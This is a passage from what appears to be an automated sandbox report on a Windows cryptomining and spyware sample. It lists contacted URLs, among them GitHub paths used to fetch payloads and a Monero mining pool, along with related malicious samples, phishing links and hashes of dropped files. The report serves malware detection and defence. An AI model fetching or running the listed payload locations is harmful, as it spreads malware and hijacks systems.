http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000001F.00000000.2414877589.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3597393060.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5h	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3csp.icrosof4m/ocp0	lsass.exe, 0000001F.00000000.2415950119.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3604819718.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2412690299.000000001272F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://raw.githubusercontent.com	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000034EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	dialer.exe, 0000002F.00000002.3586212031.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.000000000348F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb	svchost.exe, 00000037.00000000.2501565455.00000205FD288000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000001F.00000000.2414877589.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3597393060.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000001F.00000000.2414807552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3596981552.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blo	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000028E4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, 00000001.00000002.2401131352.00000000026B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
172.67.206.184	wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org	United States	13335	CLOUDFLARENETUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
149.102.143.109	monerooceans.stream	United States	174	COGENT-174US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1473042
Start date and time:	2024-07-14 23:40:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	15
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
Detection:	MAL
Classification:	mal100.adwa.spyw.evad.mine.winEXE@65/86@4/4
EGA Information:	Successful, ratio: 95.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, PID 612 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Simulations

Behavior and APIs

Time	Type	Description
17:41:25	API Interceptor	42x Sleep call for process: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe modified
17:41:36	API Interceptor	1x Sleep call for process: system64x.exe modified
17:41:37	API Interceptor	34x Sleep call for process: powershell.exe modified
17:42:12	API Interceptor	343550x Sleep call for process: winlogon.exe modified
17:42:13	API Interceptor	273461x Sleep call for process: lsass.exe modified
17:42:15	API Interceptor	326636x Sleep call for process: dwm.exe modified
17:42:15	API Interceptor	2521x Sleep call for process: svchost.exe modified
17:42:20	API Interceptor	1731x Sleep call for process: dialer.exe modified
17:42:25	API Interceptor	221x Sleep call for process: WMIADAP.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse
	https://www.kudoboard.com/boards/9yja32B2/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	http://gpfkk.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse
	https://www.etched.com/announcing-etched	Get hash	malicious	Unknown	Browse
	https://dharaprajapati2.github.io/Netflix-clone	Get hash	malicious	Unknown	Browse
	https://iamarunraghav.github.io/Project--Netflix-clone	Get hash	malicious	Unknown	Browse
	https://www.canva.com/design/DAGKjIaIIOg/dnxUW38JksDdsGh-XKZQbw/edit?utm_content=DAGKjIaIIOg&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://github.com/blackcoffe74/blackcoffe74/releases/tag/lat	Get hash	malicious	LummaC, BiFrost, LummaC Stealer	Browse
	https://prehelp.vercel.app/	Get hash	malicious	Unknown	Browse
	https://lnkd.in/edATmmaa	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	185.199.109.133
	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	185.199.110.133
	SecuriteInfo.com.Win32.MalwareX-gen.3895.3560.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win32.MalwareX-gen.3895.3560.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win64.Evo-gen.30371.21664.exe	Get hash	malicious	Akira Stealer	Browse	185.199.111.133
	http://x3ifs.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
	SecuriteInfo.com.Win64.Evo-gen.30371.21664.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	http://gpfkk.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.133
	UniGetUI.Installer.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	UniGetUI.Installer.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
github.com	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	cHNKEpg5PJ.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3
	https://help--wlletconnect.gitbook.io/us	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://www.kudoboard.com/boards/9yja32B2/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	https://www.sciencebuddies.org/Handlers/QrCode.aspx?u=h%74%74%70%73%3a%2f%2f%77%65%61%70%6f%6e%78%62%61%6e%64%2e%63%6f%6d%2f%6d%703%2f&c=E,1,2ueN4Mj2php13GPksjFRG_hUZYHLWObd4Ucer7VGzLDz8Kun3RC-6YKOBSRIV6Kok50F_i4RonPCGZc0QPIvb37YvFC6np1XNEfPhtAX&typo=1	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	https://linktr.ee/54544hgtsrsdsgs	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	ShareX-16.1.0-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.5
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
monerooceans.stream	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip	Get hash	malicious	Xmrig	Browse	44.196.193.227
	17ae2fbf36a41622374adfd3b1608e08.10.dr	Get hash	malicious	Unknown	Browse	44.224.209.130
	SecuriteInfo.com.Win64.Evo-gen.32403.24162.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	yljlbesdmoas.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.224.209.130
	vHAgn4Dx00.exe	Get hash	malicious	AveMaria, UACMe, Xmrig	Browse	44.224.209.130
	vABMEuk0Ie.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	SecuriteInfo.com.W64.Rozena.HA.gen.Eldorado.22978.31544.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	185.199.109.133
	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	185.199.110.133
	https://itaconsorciodigital.com.br/termosdeuso	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://useadobe.shop/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://bt-broadband-56137b-5027a8eef78863ed48b.webflow.io/	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://lnky.ru/qqj9v	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://pub-d6d61a1c2aed4d8bbc46e0a32bfde07a.r2.dev/index.html	Get hash	malicious	Unknown	Browse	185.199.108.153
	http://abhay-panchal-14.github.io/netflix	Get hash	malicious	Unknown	Browse	185.199.108.153
	http://bcjaconski.wixsite.com/my-site	Get hash	malicious	Unknown	Browse	151.101.66.217
	http://pub-dde186d3ef204edd89e847d256cdf5bd.r2.dev/ghupl.html	Get hash	malicious	Unknown	Browse	151.101.194.137
CLOUDFLARENETUS	NAtK3GR95V.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	Loader.exe	Get hash	malicious	LummaC, Xmrig	Browse	104.20.3.235
	setup.exe	Get hash	malicious	Unknown	Browse	104.21.79.229
	setup.exe	Get hash	malicious	Unknown	Browse	104.21.79.229
	#U8acb#U6c42#U66f8.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	https://jc541gdi.r.ap-south-1.awstrack.me/L0/https:%2F%2Fapi.growthschool.io%2Fredirect%3Fredirect=https%253A%252F%252Foutskill-api.growthschool.io%252Fv1%252Fredirect%253Fredirect%253Dhttps%25253A%25252F%25252Fwebinar.growthschool.io%25252Flive%25252F269690%25253Fsignup%25253Dd4694f1d-e1f6-4ebc-81f9-ccf7f397c75f%2526propsGeneratorKey%253DwebinarCommsLinkClicked%2526job%253DtrackEvent%2526eventName%253DWebinar%252520Comms%252520Link%252520Clicked%2526trackingProps%25255Btemplate_id%25255D%253DoneHourBefore%2526trackingProps%25255Bcomms_channel%25255D%253Demail%2526trackingProps%25255Bcta_text%25255D%253DJoin%252520Stream%2526trackingProps%25255Bcta_type%25255D%253Dlive_session%2526trackingProps%25255Blink_clicked%25255D%253Dhttps%25253A%25252F%25252Fwebinar.growthschool.io%25252Flive%25252F269690%25253Fsignup%25253Dd4694f1d-e1f6-4ebc-81f9-ccf7f397c75f%2526webinarSignupId%253D2330725/1/01090190b18b243d-902569cd-4b19-4fb0-9d62-751dd82840dc-000000/eiZ4tO0LwZqkUm_KmdP3dz-yVLc=163	Get hash	malicious	Unknown	Browse	104.22.65.157
	s6ue6dcFAI.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	JblYqEneyY.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	DHL Waybill & Shipping Document.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	s6ue6dcFAI.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
COGENT-174US	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	154.54.88.68
	DHL_AWB#6078538091.exe	Get hash	malicious	FormBook	Browse	154.62.105.138
	185.208.158.215-x86-2024-07-14T08_54_06.elf	Get hash	malicious	Unknown	Browse	38.177.156.242
	185.208.158.215-mips-2024-07-14T08_54_05.elf	Get hash	malicious	Unknown	Browse	149.44.241.36
	BL.exe	Get hash	malicious	FormBook	Browse	154.41.249.52
	OrderPI.exe	Get hash	malicious	FormBook	Browse	38.47.232.178
	http://sherwoodhomeshow.com	Get hash	malicious	Unknown	Browse	38.180.60.246
	jew.arm6.elf	Get hash	malicious	Mirai	Browse	38.112.234.61
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	38.64.166.29
	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	149.95.138.157
GITHUBUS	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	cHNKEpg5PJ.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	https://help--wlletconnect.gitbook.io/	Get hash	malicious	Unknown	Browse	140.82.121.5
	https://help--wlletconnect.gitbook.io/us	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://www.kudoboard.com/boards/9yja32B2/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	https://www.sciencebuddies.org/Handlers/QrCode.aspx?u=h%74%74%70%73%3a%2f%2f%77%65%61%70%6f%6e%78%62%61%6e%64%2e%63%6f%6d%2f%6d%703%2f&c=E,1,2ueN4Mj2php13GPksjFRG_hUZYHLWObd4Ucer7VGzLDz8Kun3RC-6YKOBSRIV6Kok50F_i4RonPCGZc0QPIvb37YvFC6np1XNEfPhtAX&typo=1	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	https://linktr.ee/54544hgtsrsdsgs	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	ShareX-16.1.0-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.5
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Avowed Beta.exe	Get hash	malicious	XWorm	Browse	185.199.109.133 140.82.121.3
	Drive.exe	Get hash	malicious	XWorm	Browse	185.199.109.133 140.82.121.3
	WaveInstaller.exe	Get hash	malicious	XWorm	Browse	185.199.109.133 140.82.121.3
	yvTs7wivyF.exe	Get hash	malicious	RedLine	Browse	185.199.109.133 140.82.121.3
	PC driver.exe	Get hash	malicious	XWorm	Browse	185.199.109.133 140.82.121.3
	EnuV7qEX01.exe	Get hash	malicious	RedLine	Browse	185.199.109.133 140.82.121.3
	217.exe	Get hash	malicious	RedLine	Browse	185.199.109.133 140.82.121.3
	Shipping Docs PO#QSB-8927393_2324, QSB-8927394_23-24.xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.109.133 140.82.121.3
	Orden de Compra.exe	Get hash	malicious	GuLoader	Browse	185.199.109.133 140.82.121.3
	https://itaconsorciodigital.com.br/termosdeuso	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\voeeoiqrjnla.sys	Loader.exe	Get hash	malicious	LummaC, Xmrig	Browse
	updater.exe	Get hash	malicious	Xmrig	Browse
	Setup.exe	Get hash	malicious	Xmrig	Browse
	Laun3cher_E@zy.exe	Get hash	malicious	LummaC, Apollo, LummaC Stealer, Xmrig	Browse
	daRNfwifay.exe	Get hash	malicious	Xmrig	Browse
	cherax.exe	Get hash	malicious	Blank Grabber	Browse
	K4gsPJGEi4.exe	Get hash	malicious	Xmrig	Browse
	32Vec0G7f5.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	BZMxi2zof1.exe	Get hash	malicious	RedLine, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

Download File

Process:	C:\Windows\SysWOW64\system64x.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2870272
Entropy (8bit):	6.525182750076353
Encrypted:	false
SSDEEP:	49152:fcFa11QV8HUsmZ00Mtju4/+Kej4Oehz0EA7GHk2D/CiVr8KmPfj7G4Lxec+DA:UA1ItsmZ00MBu4Ies7Gj/CAYKsrdFecD
MD5:	4471F946569BFA17D68108068D7A17A1
SHA1:	E16A100F0B1052120B13FFE59EF0E6A8DCFB0160
SHA-256:	CAD52FAF41B806A22F502E1937ED72637D013C3C964404D448FA7A5C0E48E56C
SHA-512:	F2ADC61D04F6B6792AD37E2230D7CCEBB6090B45423E95BB21D5BCEE09304A3203F15A9CEAE39E6E1537F035E79F1DDA3B8FC93D03F6984C6260044ED046BC17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...V3be.........."......~...J+.....@..........@.............................0,...........`.....................................................<.............+.............. ,.x...............................(.......8..............p............................text....}.......~.................. ..`.rdata........... ..................@..@.data...@2+......"+.................@....pdata........+.......+.............@..@.00cfg........,.......+.............@..@.tls..........,.......+.............@....reloc..x.... ,.......+.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4757
Entropy (8bit):	5.363658266795526
Encrypted:	false
SSDEEP:	96:iqbYqGSI6ogwmj0q0ajtIzQ0cxYsAmSvBjwQYrKxmDRtzHeqKkCq10tpDuqDqWi/:iqbYqGcLwmj0qjIzQ0JyZtzHeqKkCq1B
MD5:	73CA263A853CB35DB929B19BC593A5C4
SHA1:	01F272ED7D5A6AFEB3376C700F1887E686FE5127
SHA-256:	969C451B86A8874F3549CEB55D6A07D6C6C86A861AA027567B3EEF86E4483CCC
SHA-512:	29BF55FF62CFDB46899DC1C053122DDC3A17E13F5174420B5C39B71121FD0EA8247DC4C180317838ABD7817D3E896D238875CA1803F23519E5C39E8F6E56F7B6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.Automation.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byrmvkjw.o2a.ps1

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewk25go3.elr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_naaqlpms.sxr.psm1

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhgu5k4m.ff1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3per4eq.d54.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pcdi2n21.x0u.psm1

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5hfiz3n.jvw.ps1

Download File

